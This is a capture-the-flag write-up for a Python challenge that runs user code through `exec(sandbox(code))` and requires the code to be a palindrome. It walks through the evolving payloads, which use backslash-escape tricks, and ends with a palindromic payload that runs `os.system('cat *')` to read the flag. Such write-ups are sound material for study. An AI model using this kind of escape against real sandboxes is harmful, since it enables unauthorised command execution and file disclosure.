The main point to notice here is that we are mean to write palindromic code that in turn generates code that reads the flag
```py
exec(sandbox(code))
```

We started with trying to find a way to write palidromic code which prints "#"

What will be shown below is our evolution of payloads, copy and paste them into any syntax highlighted text editor to observe the evolution. Also we ended up with a perfect palindrome at the end so the evolving payload may not be a palindrome/syntactically correct everytime.

The first attempt was to print a `#`(hex 23)

```py
")";print("\x2332x\"(tnirp;")"
```
The trick we used was to escape a double quote with "\" so that "tnrip", "(" and ")" end up as a string.
Also we have an open quote at the end so this is syntactically incorre, ct

```py
"\";)";print("\x2332x\"(tnirp;");"\""
```
Using more "\" magic we managed to get correct syntax but now there is an extra `"` at the end.

```py
"a\";)";print("\x2332x\"(tnirp;");"\a"
```
instead of using `"\""` at the right end we got an idea to use "\a" and bingo we were able to print`#`

```py
"a\";)";print("\x69\x2332x\96x\"(tnirp;");"\a"
```
69(_nice_) is hex for `i` as we will probably need to "i"mport libraries to get anything meaningful done. We need that backslash so we have to have the hex notation for the first character.
We could have done a simple file read, but that actually costed more characters, aaaand we never realised that flag was in `flag.txt`.

```py
"a\";)";print("\x69mport os;os.system('cat *')\x2332x\)'* tac'(metsys.so;so tropm96x\"(tnirp;");"\a"
```
payload- `import os;os.system("cat *");`
EXACT 100 characters phew :)